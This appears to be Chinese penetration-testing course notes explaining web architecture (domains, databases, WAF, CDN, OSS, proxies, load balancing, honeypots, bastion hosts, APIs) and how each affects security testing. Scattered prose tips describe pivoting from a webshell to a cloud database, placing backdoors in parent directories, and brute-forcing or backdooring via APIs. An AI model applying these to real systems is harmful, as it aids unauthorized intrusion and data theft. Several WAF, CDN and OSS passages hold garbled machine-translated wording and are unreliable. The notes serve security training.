目录
十八、Web应用&蜜罐系统&堡垒机运维&API内外接口&第三方拓展架构&部署影响
二十一、抓包技术-Web&App&小程序&PC-Burp&Yakit
二十二、抓包技术-软件联动&通用方案-Proxifier&Reqable
三十九、身份鉴权-Authorization&Token&JWT&OAuth
四十、Windows&Linux-脚本开发-Bat&Shell
一、基础入门-Web 应用-域名上的技术要点
#域名差异-主站&分站&端口站&子站
域名的定义
域名(Domain Name)是互联网上用来识别和访问网站的一个独特名称。它是一个易于记忆的地址,用于代替IP地址(如192.168.1.1),使得用户能够更方便地访问互联网上的资源。域名系统(DNS)负责将域名转换为IP地址,以便计算机能够理解和处理。
域名的组成
一个域名通常由以下几个部分组成:
-
顶级域名(TLD):最右边的部分,如.com、.org、.net、.cn等。
-
二级域名:位于顶级域名之前,通常是公司或组织的名称,如moonshot在moonshot.cn中。
-
子域名:位于二级域名之前,用于进一步细分服务,如www在www.moonshot.cn中。
域名的注册流程
-
选择域名:确定您想要注册的域名,确保它未被注册且符合您的业务或个人需求。
-
选择注册商:选择一个可靠的域名注册商,如GoDaddy、Namecheap等。
-
检查域名可用性:在注册商的网站上检查您选择的域名是否可用。
-
注册域名:如果域名可用,按照注册商的指示完成注册流程,包括填写个人信息和支付注册费用。
-
域名管理:注册成功后,您将获得域名的管理权限,可以设置DNS记录、更新注册信息等。
-
域名续费:域名注册通常不是永久的,需要定期续费以保持域名的所有权。
注意事项
-
域名的唯一性:一旦域名被注册,其他人就不能再注册相同的域名。
-
域名的保护:保护您的域名不被滥用或盗用非常重要,定期检查注册信息和续费状态。
-
隐私保护:一些注册商提供隐私保护服务,可以隐藏您的个人信息,防止被公开。
1 主站 、
www.xiaodi8.com:80 php 47.75.212.155
2 分站 、
blog.xiaodi8.com 47.242.212.243 47.75.212.155
主站和分站可能放在一个服务器上,主站难以下手时可以从分站入手,分站会对主站造成影响
3 端口站 、
www.xiaodi8.com:88 java
http:80
https:443
4 目录站 、
5、子站
123.blog.xiaodi8.com
二、基础入门-Web 应用-源码上的技术要点
#源码差异-结构&语言&框架&闭源&加密
源码目录结构对应
后台目录,文件目录,逻辑目录,前端目录,数据目录,配置文件等
-
后台目录(Backend Directory):
-
后台目录通常包含服务器端的代码和资源,这些代码负责处理业务逻辑、数据库交互、API服务等。
-
示例:一个Web应用的后台目录可能包含api/, controllers/, models/, services/等子目录。
-
-
文件目录(File Directory):
-
文件目录是指存储静态文件的地方,如图片、文档、视频等。
-
示例:在Web应用中,文件目录可能是public/或static/,包含images/, css/, js/等子目录。
-
-
逻辑目录(Logic Directory):
-
逻辑目录包含实现应用程序逻辑的代码,通常是指业务逻辑层。
-
示例:在MVC架构中,逻辑目录可能是logic/或business/,包含处理业务规则的类和方法。
-
-
前端目录(Frontend Directory):
-
前端目录包含客户端的代码和资源,如HTML、CSS、JavaScript等。
-
示例:前端目录可能是src/, app/, assets/等,包含components/, views/, styles/等子目录。
-
-
数据目录(Data Directory):
-
数据目录用于存储应用程序的数据文件,如数据库、配置文件、缓存文件等。
-
示例:数据目录可能是data/, db/, cache/等,包含数据库文件、日志文件等。
-
-
配置文件(Configuration Files):
-
配置文件包含应用程序的配置信息,如数据库连接字符串、API密钥、服务端点等。
-
示例:配置文件可能是config.json, settings.yml, .env等。
-
在实际的项目中,这些目录的结构和命名可能会有所不同,具体取决于项目的需求和开发团队的约定。以下是一些常见的项目结构示例:
-
一个典型的Web应用项目结构:
my-web-app/ ├── backend/ │ ├── api/ │ ├── controllers/ │ ├── models/ │ └── services/ ├── frontend/ │ ├── src/ │ │ ├── components/ │ │ ├── views/ │ │ └── styles/ │ └── public/ │ ├── images/ │ ├── css/ │ └── js/ ├── data/ │ ├── db/ │ ├── logs/ │ └── cache/ ├── config/ │ ├── config.json │ ├── settings.yml │ └── .env └── docs/
源码开发语言类型
ASP,ASPX,PHP,Java,Python,Go,Javascript等
语言开发框架组件
PHP:Thinkphp Laravel YII CodeIgniter CakePHP Zend等
JAVA:Spring MyBatis Hibernate Struts2 Springboot等
Python:Django Flask Bottle Turbobars Tornado Web2py等
Javascript:Vue.js Node.js Bootstrap JQuery Angular等
开源闭源加密类型
开源-如Zblog
闭源-如内部开发
加密-如通达OA
-
开源(Open Source):
-
开源软件是指源代码可以被公众查看、修改和增强的软件。开源软件通常由社区驱动,任何人都可以贡献代码。一些知名的开源软件包括:
-
Linux:一个开源的操作系统内核。
-
Apache:一个开源的Web服务器软件。
-
MySQL:一个流行的开源数据库管理系统。
-
WordPress:一个广泛使用的开源内容管理系统(CMS)。
-
Android:基于Linux的开源操作系统,主要用于移动设备。
-
-
-
闭源(Closed Source):
-
闭源软件是指源代码不公开,只有软件开发者或公司内部人员可以访问和修改的软件。用户只能使用软件的编译版本,不能查看或修改源代码。一些知名的闭源软件包括:
-
Microsoft Windows:微软的操作系统。
-
Adobe Photoshop:一个图像编辑软件。
-
Apple macOS:苹果的操作系统。
-
Microsoft Office:一个办公软件套件。
-
QuickBooks:一个会计软件。
-
-
-
加密(Encrypted):
-
加密软件不一定是指软件的源代码被加密,而更多是指软件的某些部分或功能被加密,以保护知识产权或确保数据安全。加密可以应用于开源或闭源软件。一些加密软件的例子包括:
-
PGP(Pretty Good Privacy):一个用于数据加密的软件。
-
VeraCrypt:一个磁盘加密软件。
-
HTTPS:一种用于加密Web通信的协议。
-
DRM(数字版权管理):用于保护数字媒体内容的技术。
-
-
三、基础入门-Web 应用-数据上的技术要点
#数据差异-本地数据&分离数据&云数据库
-
本地数据(Local Data):
-
本地数据是指存储在个人电脑、服务器或企业内部网络中的数据库里的数据。企业拥有数据库的物理硬件和软件,需要负责数据库的安装、配置、维护、备份和安全性。
-
示例:一个公司在其内部服务器上运行的MySQL数据库,存储了公司的财务数据和客户信息。
-
-
分离数据(Separated Data):
-
分离数据通常指的是存算分离架构中的数据,这种架构将数据存储与计算资源分离,以提高资源利用率和灵活性。在存算分离的架构中,数据可以存储在远程存储系统中,而计算资源则在需要时动态分配。
-
示例:在云计算环境中,数据存储在S3对象存储中,而计算任务在EC2实例上执行,两者之间通过网络连接。
-
-
云数据库(Cloud Database):
-
云数据库是指由云服务提供商托管的数据库服务,用户可以通过网络随时随地访问。云数据库的维护、备份和扩展通常由服务提供商负责。
-
示例:亚马逊的Amazon RDS、Google的Google Cloud SQL,这些服务允许用户在云端存储和管理数据库,而不需要自己管理底层硬件。
-
数据差异的具体表现:
-
部署位置:
-
本地数据库:部署在企业内部的服务器或数据中心。
-
分离数据:可能部署在远程存储系统中,与计算资源分离。
-
云数据库:部署在云服务提供商的数据中心。
-
-
维护与管理:
-
本地数据库:需要企业自己的IT团队进行维护和管理。
-
分离数据:维护可能涉及多个系统,包括远程存储和本地计算资源。
-
云数据库:通常由云服务提供商负责维护。
-
-
扩展性:
-
本地数据库:扩展通常需要采购额外的硬件设备,过程较为复杂。
-
分离数据:可以根据需要动态扩展存储和计算资源。
-
云数据库:可以较为容易地进行水平扩展,通常按需付费。
-
-
网络依赖性:
-
本地数据库:不依赖外部网络,数据存取不受网络状况影响。
-
分离数据:可能需要网络连接来协调存储和计算资源。
-
云数据库:需要稳定的网络连接来访问。
-
-
成本结构:
-
本地数据库:主要是资本成本(CapEx),需要前期硬件和软件的投资。
-
分离数据:成本可能涉及存储和计算资源的使用,具体取决于服务提供商的定价模型。
-
云数据库:通常是运营成本(OpEx),按使用量付费。
-
-
安全性和合规性:
-
本地数据库:安全性和合规性依赖于企业的安全措施和管理。
-
分离数据:安全性和合规性可能涉及多个层面,包括数据传输和存储。
-
云数据库:通常提供高级的安全措施,如数据加密、访问控制等,但合规性可能需要根据具体的云服务提供商和地区法规来确定。
-
数据库类型
Access、MYSQL、SqlServer、Oracle、
Redis、DB2、Postgresql、MongoDB等
本地数据库
本地服务器搭建 47.75.212.243
分离数据库
另外的服务器搭建 47.75.212.243 数据 47.242.xxx.xxx
云数据库
RDS等
数据库核心思想
外部连接
比如:拿到目标的一个源码,分析到数据库配置文件,找到其中的账号密码,连接的地址
网站服务器 47.75.212.243
数据 47.242.xxx.xxx
数据库连接只让网站服务器47.75.212.243的连接,而自己的IP不是这个,拿到账号密码也无法连接
背景:www.xiaodi8.com 47.75.212.243 数据库放在云数据库上面
拿到www.xiaodi8.com的webshell 网站权限 怎么获取到数据库里面的数据 权限
解决:47.75.212.243只能让它去连接云数据库
本地真机攻击机器 xxx.xxx.xxx.xxx 去连接数据库 账号密码正确也无法连接
1.上传一个数据库连接脚本到网站上 访问脚本去让脚本去连接数据库
2.利用网站权限去上传代理流量工具 做数据中转的操作 去连接数据库
#平台差异-中间件类型&系统类型&容器类型
系统
Windows、Linux、MacOS等
容器
Docker、K8s、Vmware、VirtualBox等
中间件
Apache、Nginx、IIS、lighttpd、Tomcat、Jboos、Weblogic、Websphere、Jetty等
四、基础入门-Web 应用-解析上的技术要点
#解析差异-URL路由&绝对相对路径&格式权限
URL路由(URL Routing)
URL路由是指在Web开发中,根据请求的URL来决定执行哪个程序或方法的过程。它允许服务器将不同的URL路径映射到不同的处理函数上。
-
特点:
-
动态:可以根据URL的结构和参数动态地决定如何处理请求。
-
灵活性:可以轻松添加或修改路由规则。
-
可读性:URL结构清晰,易于理解和记忆。
-
-
示例:
-
http://example.com/users 可能映射到用户列表页面。
-
http://example.com/users/123 可能映射到用户ID为123的个人资料页面。
-
绝对路径与相对路径
路径是指文件系统中文件或目录的位置。
-
绝对路径:
-
从根目录开始的完整路径。
-
包含从根到目标文件或目录的所有必需的目录和子目录。
-
示例:在Unix系统中,/home/user/documents/report.doc 是一个绝对路径。
-
-
相对路径:
-
相对于当前工作目录的路径。
-
依赖于当前目录的位置。
-
示例:如果当前目录是 /home/user,那么 documents/report.doc 是一个相对路径,它指向 /home/user/documents/report.doc。
-
格式权限(Format Permissions)
格式权限通常指的是文件的权限,它决定了谁可以读取、写入或执行文件。
-
特点:
-
安全性:控制对文件的访问,防止未授权的访问。
-
灵活性:可以为不同的用户或用户组设置不同的权限。
-
重要性:对于保护敏感数据和系统安全至关重要。
-
-
示例:
-
在Unix系统中,文件权限如 -rwxr-xr-x 表示所有者有读、写、执行权限,同组用户和其他用户有读和执行权限。
-
差异解析
-
URL路由 vs. 绝对相对路径:
-
URL路由关注的是Web请求的处理,而路径关注的是文件系统中文件的位置。
-
URL路由是动态的,依赖于Web框架或服务器的配置;路径是静态的,依赖于文件系统结构。
-
-
绝对路径 vs. 相对路径:
-
绝对路径提供了从根目录到文件的完整路径,而相对路径是相对于当前工作目录的。
-
绝对路径不依赖于当前目录,而相对路径依赖于当前目录。
-
-
格式权限 vs. URL路由和路径:
-
格式权限与URL路由和路径不同,它不涉及文件的位置或Web请求的处理,而是涉及文件访问的权限控制。
-
格式权限是操作系统层面的概念,而URL路由和路径是文件系统和Web开发层面的概念。
-
URL路由
URL访问对应文件,MVC模型等
xxx.xiaodi8.com/admin/login.php = 源码/admin/login.php
框架开发 MVC模型源码 :根据框架的路由决定
xxx.xiaodi8.com/admin/login ≠ 源码/admin/login
相对绝对
相对当前目录,完整的目录路径
../../ 相对路径
D:\xxx\xxx\xxx 绝对路径
格式权限
后门解析格式,代码正常执行,脚本执行权限等
在网站上传后门时,如果没有权限访问,可以将其上传到上一级目录中
五、Web架构展示
1、套用模版型
csdn / cnblog / github / 建站系统(凡科)等
安全测试思路上的不同:
一般以模版套用,基本模版无漏洞,大部分都采用测试用户管理权限为主
2、前后端分离
一个后台可以管理多个网站
前端语言
前端主要负责用户界面的呈现和交互,运行在用户的浏览器中。
-
HTML (HyperText Markup Language)
-
用于定义网页的结构和内容。
-
例如:标题、段落、图片等。
-
-
CSS (Cascading Style Sheets)
-
用于美化网页。
-
例如:字体、颜色、布局。
-
-
JavaScript
-
用于实现动态交互效果。
-
例如:按钮点击、动态加载数据。
-
-
TypeScript
-
JavaScript 的超集,添加了静态类型支持,适合大型项目。
-
-
框架和库(基于 JavaScript/TypeScript):
-
React.js:由 Facebook 开发,专注于构建用户界面。
-
Vue.js:轻量、易用的框架。
-
Angular:Google 开发的全功能框架。
-
Svelte:新兴的前端框架,构建高性能应用。
-
后端语言
后端负责服务器逻辑、数据库交互和处理业务逻辑。
-
JavaScript (Node.js)
-
使用 JavaScript 构建后端,支持高并发。
-
例如:实时聊天应用。
-
-
Python
-
简洁、易学,适合快速开发。
-
框架:Django、Flask。
-
-
Java
-
企业级应用的主流语言,跨平台性能优异。
-
框架:Spring。
-
-
PHP
-
专注于 Web 开发,适合动态网页生成。
-
框架:Laravel。
-
-
Ruby
-
语法优雅,开发效率高。
-
框架:Ruby on Rails。
-
-
C# (ASP.NET)
-
由微软开发,适合构建 Windows 平台和 Web 应用。
-
-
Go (Golang)
-
适合高性能和高并发场景。
-
-
Rust
-
适合构建高性能、安全性要求高的系统。
-
例子:RXThinkCMF - 基于 PHP 语言的敏捷开发框架
前后端分离的站点并非没有漏洞,实际上还是有漏洞的,关键点在于对这个框架的了解程度,以及有没有去深入利用漏洞。
安全测试思路上的不同:前端以JS(Vue,NodeJS等)安全问题,主要以API接口测试,前端漏洞(如XSS)为主,后端隐蔽难度加大。
六、对比三种搭建方式的差异(安全测试渗透测试过程中)
均采用PHP语言的web应用(其他语言可能对结果有误差)
1、集成软件包
宝塔,Phpstudy,xamp等
宝塔搭建
blog.xiaodi8.com
后门的权限:
命令执行不行 文件管理除web目录能看 其他都不能看
宝塔可以控权 Phpstudy没有控权 比自主搭建放出的权限更高
继续:绕过宝塔限制 技术要点
2、自主环境镜像
云镜像打包,自行一个个搭建
Ubuntu
bbs.xiaodi8.com
命令执行可以 文件管理基本都能看 除去一些高权限目录(root目录等)
继续:提权横向 技术要点
3、容器拉取镜像
docker容器搭建
内置的虚拟化技术 单独搞了一个磁盘空间在给这个应用做支撑
继续:逃逸提权技术 技术要点
七、其他web架构
1、纯静态页面
纯HTML+CSS+JS的设计
安全测试思路上的不同:无后期讲到的Web漏洞
找线索:找资产,域名,客户端等
八、Web源码形式
旨在了解源码差异,后期代码审计和测试中对源码真实性的判断
后台地址
1、单纯简易源码
xxx.com/admin
2、MVC框架源码
了解URL对应文件 文件对应URL
知道漏洞该怎么触发测试
phpthink框架
application\admin\controller
错误:xxx.com/aapplication\admin\controller
正确:xxx.com/index.php/admin/
3、编译调用源码
如:NET-DLL封装 Java-Jar打包
4、前后端分离源码
https://segmentfault.com/a/1190000045026063
前端:nodejs vue等(js开发框架)
后端:php java python等
5、加密型源码
通达OA
Web应用-防护产品-WAF保护
#Web+WAF
九、WAF的原理
1. 数据流监控
WAF客户端与服务器之间,拦截所有进入Web应用程序的HTTP/HTTPS流量。通过分析请求和响应数据,WAF能够检测和阻止非法流量定位。
2. 策略匹配
WAF依赖预先定义的规则或策略来识别攻击行为。这些策略可以基于特定模式(如SQL关键字、恶意脚本)的规则,也可以基于异常行为的动态分析。
3. 行为分析
现代WAF支持行为分析,通过记录正常的用户行为,检测这些行为的异常活动。例如:
-
用户访问异常
-
许多人请求
-
犯罪的判罚行为
4. 签名库
WAF会根据签名库对请求中的特定内容(如SQL语句、不良代码片段等)进行匹配,并阻止与已知攻击特征一致的请求。
5.人工智能与机器学习
一些高级WAF会采用AI/ML技术,动态学习应用程序的正常流量模式,从而检测未知的攻击。
十、WAF 对 渗透测试 的影响
1. 提高攻击力度
-
过滤恶意请求:WAF能够实时拦截SQL注入、XSS等攻击流量,使得攻击者很难直接获取服务器响应。
-
漏洞漏洞:目标即使应用存在漏洞,WAF可能会通过规则拦截,使漏洞难以被利用。
2.延长测试时间
-
WAF增加了测试复杂性。渗透测试人员需要绕过WAF的检测机制,这可能涉及更复杂的负载构造或流量阻塞。
3. 误报与干扰
-
有些WAF配置没有当时会出现错误报告,即正常请求被阻止,这可能会干扰渗透测试。
-
渗透测试工具可能被WAF识别为恶意流量,导致工具失效或阻塞。
原理:Web应用防火墙,旨在提供保护
影响:常规Web安全测试手段会受到拦截
演示:雷池社区版 雷池 WAF 社区版 | 下一代 Web 应用防火墙 | 免费使用
Ubuntu20.04 + 雷池社区版
安装雷池:
bash -c "$(curl -fsSLk https://waf-ce.chaitin.cn/release/latest/setup.sh)"
搭建网站:
https://zhuanlan.zhihu.com/p/705196831
docker run --name webgoat -d -p 8080:8080 -p 9090:9090 registry.cn-shanghai.aliyuncs.com/kubesec/webgoat:v2023.8
配置雷池:
添加站点-设置域名-上游地址-没真实域名修改本地host解析
#Web+CDN
十一、CDN的原理
1. 基本架构
CDN由多个分散的边缘节点组成,这些节点部署在用户接入点附近,用于缓存静态内容(如HTML、CSS、JavaScript、图片、视频等)或处理部分动态请求。
-
边缘节点:靠近用户的CDN服务器,用于处理用户请求。
-
源站服务器:实际托管网站内容的服务器,只有当CDN无法提供所需资源时,才回源站请求数据。
2. 工作机制
袭击事件
-
当用户请求资源时,CDN首先检查其边缘节点缓存。如果缓存命中,则直接返回内容。
-
如果缓存未达到目标,边缘节点会向源站发起请求内容获取,并将其缓存以备下次请求。
運均衡
CDN通过智能调度,将用户流量分配到最优的节点,从而避免源站或单一节点过载。
协议优化
CDN支持协议优化,如HTTP/2、压缩传输、TLS加速等,进一步提高响应速度。
DDoS应对
CDN通过遍布架构和流量清洗中心,可吸收并减少大规模拒绝服务(DDoS)攻击。
IP隐藏
源站的真实IP地址通过CDN隐藏,用户只能看到CDN边缘节点的IP地址。
十二、CDN对渗透测试的影响
1. 增加信息收集努力
-
隐藏源站IP:渗透测试人员无法直接定位目标服务器的真实IP地址,从而难以对源站进行攻击。
-
遮挡真实断层:CDN节点分布全球,无法通过IP定位推断源站位置。
2.流量限制与安全策略
-
请求速率限制:CDN常配置速率限制规则,渗透测试工具(如扫描器)可能会导致高频请求被阻塞。
-
恶意请求过滤:CDN内置安全规则可以过滤SQL注入、XSS等攻击请求,降低渗透测试的有效性。
-
自动封禁:CDN可能对检测到的非法IP实施短时间或永久封禁,阻止进一步测试。
3.延长测试时间
由于流量需通过CDN的边缘节点,测试响应速度可能受到影响,特别是在缓存刷新或复杂回源的情况下。
4. CDN缓存机制的干扰
-
服务器污染:渗透测试可能因为服务器干扰,无法验证漏洞真实是否存在。
-
找到动态内容绕过:攻击者需要CDN不缓存的动态接口来继续测试。
原理:内容分发服务,旨在提高访问速度
影响:隐藏真实源IP,导致对目标IP测试错误
演示:阿里云备案域名全局CDN加速服务
Windows2016 + BT宝塔面板 + CDN服务
#Web+OSS
十三、OSS的原理
1. 基本架构
-
存储桶(Bucket):存储桶是OSS中的基本存储单元,用于分组管理对象数据,每个存储桶都有唯一的名称。
-
对象(Object):对象是存储的数据实体,包括对象数据和元数据。每个对象通过一个唯一的关键标识。
-
访问控制:通过访问策略(如权限配置、访问密钥)控制用户对存储桶和对象的操作权限。
2. 工作机制
1. 恐惧
OSS将以数据对象的形式存储,每个对象包含以下信息:
-
数据本身(如文件内容)。
-
元数据(如文件类型、创建时间)。
-
唯一的目的(Key)。
2. RESTful接口
OSS通常通过RESTful API进行交互,支持HTTP/HTTPS协议。用户可以使用API上传、下载或管理对象。
3. 数据片段与副本
OSS通常采用数据分片和语音技术,将数据存储在多个物理位置,以保证高可用性和容灾能力。
4. 权限管理
-
公共读写器:所有用户都可以访问和修改。
-
公共读、笔记本写:所有用户都可以读取,但只有授权用户才可以写入。
-
完全匿名:只有用户授权才可以访问。
5. 数据加密
OSS支持传输层加密(如HTTPS)和存储层加密(如服务端加密、客户端加密)以保护数据安全。
十四、OSS对 渗透测试 的影响
1.信息泄露风险
OSS配置不当(如存储桶权限设置错误)可能导致:
-
敏感数据泄露:如内部文档、日志、备份文件等未授权访问。
-
元数据泄露:攻击者通过查看元数据(如文件创建时间、用户ID)获取关键信息。
2. 存储桶持有
他们的可能尝试:
-
修改存储桶内容:如窜改文件内容,入库恶意代码。
-
上传恶意文件:用于钓鱼攻击或传播恶意软件。
3.利用开放存储桶
公共仓储桶可能被占用:
-
存储液压内容:攻击者利用目标存储桶液压或目标内容。
-
攻击跳板:上传恶意脚本或文件,诱导其他用户下载。
4. API 滥用
如果OSS API泄露或配置不当,攻击者可能利用API执行以下操作:
-
批次下载存储数据。
-
删除或篡改对象。
-
创建新的存储桶或对象,增加存储成本。
原理:云存储服务,旨在提高访问速度
Windows2016 + cloudreve + 阿里云OSS
Release 3.7.1 · cloudreve/Cloudreve · GitHub
1、启动应用
2、登录管理
3、配置存储信息
4、更改用户组存储属性
阿里云OSS:
开OSS
2、新建Bucket
3、配置Bucket属性
4、配置Access访问
原理:
为什么要使用第三方存储?
1)静态文件会占用大量带宽
2)加载速度
3)存储空间
影响:
上传的文件或解析的文件均来自于OSS资源,无法解析,单独存储
1、修复上传安全
2、文件解析不一样
3、但存在AK/SK隐患
#Web+反向代理
十五、正向代理
定义
正向代理(Forward Proxy)是代理客户端(Client)向服务器(Server)发送请求的一种代理形式。客户端通过正向代理访问目标服务器,而服务器并不知道实际的客户端是谁。
工作流程
-
客户端向正向代理服务器发送请求,并指定目标服务器地址。
-
正向代理服务器转发该请求到目标服务器。
-
目标服务器将响应返回给正向代理服务器,代理再将响应结果返回给客户端。
用途
-
访问控制
-
用于突破防火墙或访问受限资源(如跨区域访问被屏蔽的内容)。
-
在公司网络中,正向代理可以限制员工访问某些网站。
-
-
缓存优化
-
正向代理可以缓存常用资源,减少对目标服务器的请求,提高访问效率。
-
-
匿名访问
-
隐藏客户端的真实IP地址,提升隐私性。
-
-
流量监控
-
管理员通过代理服务器监控和记录客户端的访问行为。
-
常见示例
-
VPN(虚拟专用网络)
-
翻墙代理(如访问被屏蔽的网站)
-
浏览器设置的HTTP/HTTPS代理
十六、反向代理
定义
反向代理(Reverse Proxy)是代理服务器代表目标服务器处理客户端的请求。客户端并不知道实际的目标服务器,而是与反向代理服务器交互。
工作流程
-
客户端向反向代理服务器发送请求。
-
反向代理服务器根据请求,将其转发给后端的目标服务器。
-
目标服务器将响应返回给反向代理服务器,再由代理转发给客户端。
用途
-
负载均衡
-
将客户端请求分配到不同的后端服务器,提升系统的整体性能和可用性。
-
-
安全防护
-
反向代理隐藏后端服务器的真实IP地址,防止直接攻击。
-
可作为Web应用防火墙(WAF)的一部分,过滤恶意请求。
-
-
内容缓存
-
缓存静态资源(如图片、视频),减少后端服务器的压力。
-
-
协议转换
-
反向代理可以在客户端和服务器之间进行协议转换(如HTTP与HTTPS之间的转换)。
-
-
集中管理
-
通过反向代理集中处理SSL证书、身份认证等功能,简化后端服务器的配置。
-
常见示例
-
CDN(内容分发网络)
-
企业内部网的负载均衡器(如Nginx、HAProxy)
-
API网关
特点 | 正向代理 | 反向代理 |
---|---|---|
服务对象 | 客户端 | 服务器 |
作用范围 | 客户端到代理服务器之间的请求 | 代理服务器到后端服务器之间的请求 |
隐藏对象 | 客户端隐藏真实身份 | 服务器隐藏真实身份 |
主要功能 | 匿名访问、突破限制、缓存优化 | 负载均衡、安全防护、集中管理、缓存优化 |
常见应用场景 | 访问被封锁的网站、VPN | CDN、Web应用负载均衡、WAF |
正代理为客户端服务,客户端主动建立代理访问目标(不代理不可达)
反向代理为服务端服务,服务端主动转发数据给可访问地址(不主动不可达)
原理:通过网络反向代理转发真实服务达到访问目的
影响:访问目标只是一个代理,非真实应用服务器
注意:正向代理和反向代理都是解决访问不可达的问题,但由于反向代理中多出一个可以重定向解析的功能操作,导致反代理出的站点指向和真实应用毫无关系!
演示:Nginx反向代理配置
Windows2016 + BT宝塔面板 + Nginx
#Web+负载均衡
十七、负载均衡的基本原理
负载均衡器位于客户端和后端服务器之间,充当中间层,通过特定的调度算法分配请求。其核心目标是:
-
分散流量压力:避免单个服务器过载。
-
提升可用性:确保当某些节点故障时,系统仍能正常服务。
-
优化资源利用:充分利用所有服务器的计算能力。
负载均衡的类型
1. 基于部署位置的分类
1.1 硬件负载均衡
-
特点:使用专用设备(如F5、Cisco等)进行流量分配。
-
优点:性能强大,稳定性高。
-
缺点:成本高,扩展性较差。
1.2 软件负载均衡
-
特点:通过软件运行在普通服务器上实现负载均衡功能。
-
常用工具:Nginx、HAProxy、Traefik、Apache Traffic Server。
-
优点:灵活性高,成本低。
-
缺点:性能可能不及硬件负载均衡。
1.3 云负载均衡
-
特点:由云服务提供商(如AWS ELB、阿里云SLB、Google Cloud Load Balancing)提供的托管服务。
-
优点:无需维护硬件,易于扩展和集成。
-
缺点:依赖云服务,成本可能随流量增加而提高。
负载均衡的常见架构
1. 双层架构
-
前端使用负载均衡器分配流量到后端服务器。
-
后端服务器之间可以再配置内部负载均衡器。
2. 主备架构
-
采用多台负载均衡器,其中一台为主,一台为备。当主负载均衡器发生故障时,备份节点接管流量。
3. 分布式负载均衡
-
将流量分配到多个区域的负载均衡器,再由区域内的负载均衡器处理本地流量。
负载均衡在渗透测试中的影响
-
隐藏真实IP地址
-
负载均衡器会隐藏后端服务器的真实IP,增加攻击难度。
-
攻击者需要通过流量分析或旁路测试找到后端服务器。
-
-
流量分散
-
负载均衡将请求分发到多台服务器,攻击流量可能被稀释,难以造成单点影响。
-
-
DDoS防护
-
负载均衡器通常具有抗DDoS功能,可以吸收和清洗大规模恶意流量。
-
-
健康检查干扰
-
如果健康检查未配置好,攻击者可能利用其路径信息探测后端服务器状态。
-
-
增加测试复杂性
-
渗透测试工具可能无法保证所有请求流向同一后端服务器,导致结果不一致。
-
原理:分摊到多个操作单元上进行执行,共同完成工作任务
影响:有多个服务器加载服务,测试过程中存在多个目标情况
演示:Nginx负载均衡配置
Windows2016 + BT宝塔面板 + Nginx
#定义负载设置
upstream fzjh{
server 120.26.70.72:80 weight=1;
server 47.75.212.155:80 weight=2;
}
#定义访问路径 访问策略
location / {
proxy_pass http://fzjh/;
}
十八、Web应用&蜜罐系统&堡垒机运维&API内外接口&第三方拓展架构&部署影响
蜜罐(Honeypot)是一种网络安全技术,通过模拟真实的网络或系统环境,引诱攻击者访问,以监控其、行为记录攻击技术、识别威胁来源,从而提升防御能力。蜜罐既可以用于研究攻击手法,也可以作为防御策略的一部分,帮助保护真实的网络资源。 攻击诱捕
-
吸引攻击者,将他们引导至虚假的目标。
-
减少对真实系统的威胁。
威胁情报
-
收集攻击模式、工具和行为。
-
提供恶意IP地址、域名等威胁指标。
安全分析
-
帮助了解攻击者的目标和动机。
-
研究零日漏洞的利用方式。
误导攻击者
-
延缓攻击速度,争取响应时间。
-
混淆攻击者,使其难以识别真实目标。
#蜜罐:反制溯源_欺骗防御_主动防御-HFish免费蜜罐平台
测试系统:Ubuntu 20.04
一键安装:bash <(curl -sS -L https://hfish.net/webinstall.sh)
有害影响:用来钓鱼或诱惑测试人员的防护系统
堡垒机(Jump Server或Bastion Host)是网络安全中的一种关键设备,主要用于集中管理和控制企业或组织的内部服务器、设备及用户访问行为。通过堡垒机,可以记录用户的操作日志,审计行为,并提供权限管理和双重认证,从而增强整体的安全性。
堡垒机的核心功能
-
集中管理
-
集中管理企业内多台服务器、网络设备、数据库等资源。
-
提供统一的登录入口,用户无需直接访问目标设备。
-
-
权限控制
-
基于角色和用户定义不同的访问权限。
-
控制用户对目标设备的命令操作权限。
-
-
身份认证
-
支持多种身份认证方式,如用户名密码、双因素认证(2FA)、LDAP、AD等。
-
-
操作审计
-
实时监控用户操作,记录所有访问行为,包括登录、命令执行等。
-
提供回放功能,用于复现用户的操作步骤。
-
-
风险隔离
-
隔离外部和内部网络,减少直接暴露的攻击面。
-
限制高危命令和非授权访问。
-
-
双向代理
-
提供中间代理功能,隐藏真实的服务器IP和端口,避免直接访问。
-
-
日志与报告
-
自动生成访问日志和安全审计报告。
-
可对异常行为设置告警规则。
-
堡垒机的优势
-
安全性
-
通过统一登录和权限管理,减少暴露在互联网上的服务器数量。
-
防止未授权的用户直接访问内部资源。
-
-
合规性
-
通过操作记录和审计功能,帮助企业满足法规要求(如GDPR、ISO 27001等)。
-
-
易于管理
-
集中化管理,简化对多台设备和用户的权限管理流程。
-
-
威胁响应
-
提供实时告警和日志,快速定位异常行为。
-
测试系统:Ubuntu 20.04
一键安装:curl -sSL https://resource.fit2cloud.com/jumpserver/jumpserver/releases/latest/download/quick_start.sh 1| bash
有利影响:Web应用或其他应用提供给测试人员一个能获取到价值信息的系统
API接口(Application Programming Interface,应用程序编程接口)是一种允许不同软件系统或组件之间相互通信的工具或协议。API接口通常定义了一组规则,开发者可以通过这些规则向应用程序发送请求并获取数据或执行某些功能。
API的结构
-
URL或端点(Endpoint):API的访问地址。
-
方法(Method):
常用HTTP方法:
-
GET
:读取数据。 -
POST
:创建数据。 -
PUT
:更新数据。 -
DELETE
:删除数据。
-
-
参数(Parameters):
-
路径参数:嵌在URL中,如
/api/user/{id}
。 -
查询参数:附加在URL后面,如
?key=value
。 -
请求体(Request Body):POST或PUT方法中传递的JSON、XML等数据。
-
-
响应(Response):
-
状态码(如
200 OK
、404 Not Found
)。 -
返回数据(通常是JSON或XML格式)。
-
#API接口:是一个允许不同软件应用程序之间进行通信和数据交换的接口。API定义了一组规则和协议,软件开发者可以使用这些规则和协议来访问操作系统、库、服务或其他应用程序的功能。
/v1/api
/v2/api
查询用户信息
/api/userinfo
登录接口=爆破密码
用户信息=枚举其他用户信息
文件上传=上传后门
票据交易=泄露敏感数据
查询文件信息
/api/fileinfo
1、Web API:
通过HTTP协议进行通信的API,常用于Web服务和应用程序。
例如,RESTful API、GraphQL API。
2、库和框架API:
提供特定编程语言或框架功能的API,供开发者在应用程序中使用。
例如,Java API、Python标准库。
3、操作系统API:
提供操作系统功能访问的API。
例如,Windows API、POSIX API。
4、远程API:
允许在网络上远程访问服务的API。
例如,SOAP API、XML-RPC API。
例子:
内部API:比如我自己开发了一个收银系统,使用API接口可以查询到顾客数据,收入支付,销售提成等
外部API:比如我自己搭建了一个网站应用,功能需求有要借助到外部的资源,如地图,归属地,短信收发等
有利影响:
